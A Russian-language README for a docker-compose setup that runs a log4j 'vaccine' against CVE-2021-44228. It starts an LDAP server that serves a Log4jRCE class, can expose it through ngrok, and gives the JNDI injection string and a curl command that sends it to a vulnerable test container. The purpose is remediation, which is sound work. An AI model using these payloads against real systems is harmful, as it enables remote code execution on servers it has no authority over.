
решение на docker compose для запуска среды вакцинации для уязвимости log4j2 CVE-2021-44228
Контейнеризированный способ запуска вакцины log4j, предлагаемой Cyberreason
Клонируйте этот репозиторий:
git clone https://github.com/jeffbryner/log4j-docker-vaccine.git
Отредактируйте файл containers.env, указав точный частный или публичный IP/DNS, к которому ваша цель может получить доступ. Запись по умолчанию, скорее всего, не будет работать для вас!
Соберите и запустите контейнеры:
docker-compose -f docker-compose.yml -p vaccine up
Теперь у вас есть прослушивающий LDAP-сервер, который будет отдавать класс Log4jRCE для инокуляции уязвимого экземпляра log4j.
Вы можете открыть доступ к нему из интернета (если хотите) с помощью ngrok.
ngrok tcp 1389
Вы можете отправить на него уязвимый экземпляр log4j, используя печально известную входную строку jndi:
${jndi:ldap://<ngrokurlgoeshere>:1389/a}
Существует специально уязвимая версия log4j в контейнере, доступная по адресу:
Вы можете следовать их инструкциям для её запуска и использования в тестировании:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
И запустить инокуляцию через:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-ip-address-or-dns-name:1389/a'